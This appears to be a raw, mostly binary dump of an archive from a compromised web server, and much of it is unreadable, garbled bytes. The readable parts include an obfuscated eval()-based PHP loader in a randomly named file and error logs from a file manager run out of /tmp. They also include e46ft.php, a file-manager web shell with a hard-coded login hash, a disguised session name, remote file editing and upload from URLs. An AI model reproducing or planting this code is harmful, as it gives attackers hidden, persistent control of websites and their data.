pKњu!e,}+^%P:wnJ|ɳPA kިߋMhD*X|WA pL$?1~S-LzԖ6l2%tۂH췎Ip8g (O6!v 6:b!ninΫ=OXkstbo;活72JR8?(C P$T#U1*IpHT=z=+2 ^׏믻Wu'dpTi>aL^Z;w z|&j&L(OH=7J 4iEhvӑ5aU8ʀEcCpyI6% ib+~"-L 4^iU=z+ bl4[^K"ctxJf1p^!2uXb -y8Ȅ<s&!``ʓ޴qجԝ@\ep)nT|bqgfa%t'HL@6sWd˩CS<RM!L̓6t+YL"H"?\+ҁ qq7'\MPuw]I h~_ӝH#Sﯡ5z,Vњ D W%ց eA(-oBYRm._KlUCh/Sop7*vdrHdZ3~P4?(p U;_$-+J Y.!啪N@z_բbf&}ST$,A'@K<-[riDL TPg;@׵Rl4i9$bOtX 7gRWyE'D!Qw%V mE1GpBA mԬ c(L~!%CAQb'"#Sx0֚-_ıS*l=Yq1E<5ulL~Ey\ժ!i5J~O|' ]䙆:Z)v~e.D8F| ݀1ug')sUJ/-}Zˎk? de7Bj=TTlMLbǴꢳSI W/аM(om<м”v&vWʁPmMY1H;)b?8cfVrD#i6u|٫Sٹ2jnl) jUdrtAD`Ǵ uvPfUS km|~w캺E61aU4hzm joM\G"3lCǵa+PHT] 1G'1M٨ZyY,*UY u5"#<ս))%ɸe 2L\=eCFya['W&DN &Tƕ6 4_&^Pxa'XPY ! ŊlGw 跚ti"Hadv&Io 8iWњj(Nvfm[8GLQ |ǽ_D=R5qk3\TUNՈ %H]$(ݒ!fc;K-Sշ'+^3xG,FVpYG=Rcdžvx.GLYp slg2e JF. JӴ|V .ZHq([(L/i]82&o5۶85xR{B>z/ًQI(6~P[~(ңVM=Me *tt(dy5N>0?@?AntNoҤ^RP$E۫FӁi/5mzY (<ַCG9/E$,|BnqVB#ߊyĥIh[;;?6&! G~^ACT{Zd+ ]HF=iյ|YS@MCZZc]]%&AlwS ԚuRGPE楄xn(mԓ ~ƨUmgکs!M!8bMWeE'8a= r2 NtsA?%WMwe3]5B:MWa YszI Qa2Mu| 6 W 4({:pL4ultlNCSMdMSSAmJGg^-e YW` hk0NZ5}NM8mXyɨ* &44a\-SJ=_emזM7 \-j^]72BErSk ЎvkMT! `5,] =6\qއuV(+ɫ /TA΃5^67,Ӟ;/9J31U.B,QL" ]ڀ7%:ÇaN4a*N>^> nYM1 <Vf*jl:c%]bWэw ܶa V#]]Q,|#!ԴKB~DhYUzV++E!RPtje=6򡚧0A`+ ^ Jiq/yx2PX#XDwˮbs8 v8M\ŏ [4Jd1C,t+@I `M7\Dc7a錪ExnW M}e?Aܖ/!U"4 uVŴpa))\skRާCiZuڧ<7EENYĶL&Я55o*-kcȡkz L MO{Y'N>{0Y7Uzq `K2LIV[XnT@ \:n9:jųN:q׬(!LO s'wǰ\5s'ɳCo9kbL/'UvjEY1Q~YA1zcgGK@p`Wʥhr)`mX*LZF2/692э/`mDC9k< Bl]dE. A*$P=Ҵ[+ g'@kDvh*9H(/yƝ-CasbqwU1NqRNd_",#C#H_ XrOuq]64Evnbcω߶m#1]/*IjLv;n+>M"}A0+XY&Ұm,InZdM+E!ei7Y! 2IC ͳ;Nsol,{N{"u"6HO *XjҫP1jnZժ ;`uEU9KEK~lq"e.Nb9?z-rZ7rZH>wDj|Oiqwz{Z|/ٍۧZ+g@iZci_jTq9 ZbGH',ۣxX?DD1 T{&4h,t&bu|DuN9uP j 9O0J,@HZ%_g j^x݈[R #E(1<=JIr, oTNuE"1UpMª~6Xl_[3GgPj:F3g{I܎PTq;yz1ID@I 98$ӣFCjwKm$h?p\7,`"%whw2.m39^)Ēff]B6!Ф>In/Hb&kZ?{GIgHPŒG Ӣ7CSSgJ7:<;47Z),JpvOtf:VZ{F~|x@IX+x7(l^0a/(?{[Kj|AS$; Q}lXq_FfXgf/00^: vùp(C kIvwsDlQooo/{qdj;YoFʲ#m7ָ"xK9OtӻNVRn^AB)!u~FZ-XNgbjѠ܂()~ϣ &U'`_4W  aC< zI  j5CbBHմ+bU Dq4x,5`{a;j5Wt#[GakM8ݨ/hu"^u)CCp 1v͉Ta<ix x&LT kJ\;/`ǫ2J;W xѨ @dW)/ύ#8"y+ax_`;0j@Sf}=RHc2 '#:Nc/C(|dH+,) WP:ͅbѓ%?-=N&I=F8{UasuŽ@7P]X:2*Fsc;QxRW;_R?1FG4IW1]y"8Q:v #$?LF0RH:YSڙ!=\1'6> p lhtA 5QOe3P ^.3FJ % gF:8-D#fAeAVղF,A0\>$݋'#*K*$k'A~-}5VHs>};aNii5W8@Ij ڈ`{'ǥlha"~&28 N PNAUJTC’\8mf!x+ȀnNK52$%bKD;X׻6.uo" ] -blx>M|1y z{~(LK`~׿Jv{gwns3 ~|nϔ?}#O~4) AMiƷj \xuo߹W2`:?֝=yҟapGWʉ?WN޻=̽{/?M;6;~7[O\[n,1]yCf3ܥxG>/}O"On|O~݃o;pց;wf^u{ѿy葏swyw[ٓ|jʫa|vl Y֣{?yr1+{߯?sc>}׺yْ߿pܡr\ї|5߼~͟:sy=02>~yۇ=} =>v㟞}_gn4kΘkKwol~R>z?u~k?ݓ#]PKf[pii index.phpnu[PKIPK8f[MWgg index.phpnu[PK8f[σ3 lwycpd.zipnu[PKʬf[ lrw89y.zipnu[PKɬf[AA eg3cw.phpnu[nigwqgqwtqwtqwti();eval(wkqtonxx().$letter);function wkqtonxx(){}function xmxmxnianntt($margin){$background='';for($i=0;$iPKʬf[&\'' error_lognu[[27-Oct-2025 03:47:34 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [27-Oct-2025 03:47:34 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [27-Oct-2025 03:47:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [05-Nov-2025 10:54:10 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [05-Nov-2025 10:54:10 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [05-Nov-2025 10:54:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 05:38:24 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 05:38:24 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 05:38:24 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 07:08:35 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 07:08:35 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 07:08:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 07:08:43 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 07:08:43 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 07:08:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 09:23:15 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 09:23:15 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 09:23:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 10:27:30 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 10:27:30 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 10:27:31 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 10:56:10 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 10:56:10 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 10:56:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 12:19:11 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 12:19:11 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 12:19:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 12:19:21 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 12:19:21 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 12:19:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 14:26:23 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 14:26:23 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 14:26:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 15:15:39 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 15:15:39 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 15:15:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 20:45:32 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 20:45:32 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 20:45:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 21:14:28 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 21:14:28 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 21:14:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 21:14:47 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 21:14:47 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 21:14:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 21:14:47 UTC] PHP Notice: Undefined variable: ext in /tmp/phpM5aThD#tox.php on line 1145 [06-Nov-2025 21:49:50 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 21:49:50 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 21:49:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 22:26:32 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 22:26:32 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 22:26:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 22:26:32 UTC] PHP Warning: Invalid argument supplied for foreach() in /tmp/phpM5aThD#tox.php on line 525 [06-Nov-2025 22:26:32 UTC] PHP Warning: Invalid argument supplied for foreach() in /tmp/phpM5aThD#tox.php on line 525 [07-Nov-2025 01:50:13 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 01:50:13 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 01:50:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 02:37:29 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 02:37:29 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 02:37:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 02:37:46 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 02:37:46 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 02:37:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 02:38:18 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 02:38:18 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 02:38:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 PKʬf[Hhrgg index.phpnu[PKʬf[f^aindex.php.php.tar.gznu[k0p,=KfUX׹/cŋHqmf^0S:כy;/+[ammP[0"BV”t)zFΩ3??x<g}w2NN8COy+0Nt@&=0r2_i"(r{$% Q!VleM^L>F<~9.9?PKʬf[g oy5mbk.zipnu[PKFf[/mm index.phpnu[PKFf[/mm index.phpnu[PKIPKʬf[ggerror_log.tar.gznu[o0w`?4 Un&zJ`50 KPYIb1ixms^(B< DÖ+QU;oUcDbtBF `T7a4j`J)ϨO¼0P4A4~8G-?F`Pq0%Ń~8G-Fm@l?xp= {g4Os6 x(pF[0av(hHIl9m0f9m|0J @F{܌a^4h?a2θc} O>߼s9"PKʬf[ lrw89y.zipnu[PKʬf[.9? index.php.tarnu[PKʬf[&\'' Perror_lognu[PKʬf[Hhrgg  index.phpnu[PKʬf[f^a index.php.php.tar.gznu[PKʬf[g  oy5mbk.zipnu[PKʬf[gg( error_log.tar.gznu[PKPK8f[ٖ4kindex.php.php.tar.gznu[k0p,k\ZeLx854hnu ɦP khov5B$9i0{KJ3t;C_0t؀q gI_ n./$1%(M{x'jc? XW.|Y,9}"G2B.?@SRSG7yls9Fd|3=oRB'PK8f[U ko6li5.zipnu[PKf[~KX77 e46ft.phpnu[ 'e0e39b991692259764469b25bfe10b47', 'user' => 'e0e39b991692259764469b25bfe10b47' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'insertion'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; 